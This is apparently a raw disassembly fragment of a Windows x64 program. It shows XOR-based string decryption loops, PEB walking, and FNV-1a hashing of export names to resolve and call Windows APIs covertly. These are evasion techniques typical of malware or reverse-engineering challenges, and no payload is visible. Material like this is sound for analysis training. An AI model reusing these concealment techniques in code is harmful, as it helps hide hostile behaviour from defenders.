pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140086a10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140018cb1
cmp r8d, 0x15
jge 0x140018e05
movsxd r9, r8d
add r9, rsi
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140018dd0
mov rcx, rsi
call r11
mov r11, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp + 0x600]
lea rcx, [rsp + 0x30]
call fcn.140004ff0
mov r10, rax
cmp byte [rax + 0x16], 0
je 0x140018fd5
mov r8d, r15d
cmp r12d, 2
jl 0x140018f8b
movdqa xmm5, xmmword [0x1400869c0]
movdqa xmm4, xmmword [0x140086cd0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400869e0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140086ad0]
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x40]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140086a10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140086a10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140018e80
cmp r8d, 0x17
jge 0x140018fd5
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x17
jl 0x140018fa0
mov rdx, r10
mov rcx, r11
call fcn.1400019c0
lea rdx, [0x140002c50]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edi, r15d
lea rcx, [0x1400baa00]
call fcn.140026830
lea rcx, [rsp + 0x30]
call fcn.140005490
mov edx, eax
lea rcx, [rbp + 0x30d0]
call fcn.140003520
mov edx, 0x5dc
mov r8d, 0xbb8
lea rcx, [rbp + 0x7b8]
call fcn.140003570
lea rdx, [rbp + 0x30d0]
lea rcx, [rbp + 0x7b8]
call fcn.140001db0
mov ebx, eax
test eax, eax
jle 0x1400190c7
nop dword [rax + rax]
mov ecx, 0x384
call fcn.140010f40
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x30]
call fcn.140005020
movzx ecx, byte [rax + 1]
test cl, cl
je 0x140019080
xor byte [rax], 0x39
xor cl, 0x3a
mov byte [rax + 1], cl
mov rdx, rax
mov rcx, r8
call fcn.1400019c0
lea rdx, [0x140002c50]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
inc edi
sub ebx, 0x384
cmp edi, 0xa
je 0x1400190ac
test ebx, ebx
jg 0x140019050
lea rdx, [0x140002c10]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edi, r15d
test ebx, ebx
jg 0x140019050
lea rcx, [0x1400baa00]
call fcn.140026830
lea rdx, [rbp + 0x80]
lea rcx, [rsp + 0x30]
call fcn.140005030
mov rsi, rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140019176
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140019176
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140019171
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140019150
cmp r8d, 0x491e0a9c
je 0x14001917b
test r9d, r9d
jne 0x140019130
mov rax, qword [rax]
jmp 0x140019100
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
cmp byte [rsi + 3], 0
je 0x140019275
cmp r12d, 2
jl 0x14001922f
movdqa xmm3, xmmword [0x1400869c0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140086cd0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140086cd0]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
movd xmm0, r14d
psrad xmm2, xmm0
movd xmm0, r13d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400869e0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140086a10]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140086ad0]
movd xmm0, dword [rsi]
xorps xmm2, xmm0
movd dword [rsi], xmm2
jmp 0x140019275
mov r9, rsi
mov r8d, r15d
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140019240
mov rcx, rsi
call r11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140019306
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140019306
mov rax, qword [rax]
jmp 0x140019290
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3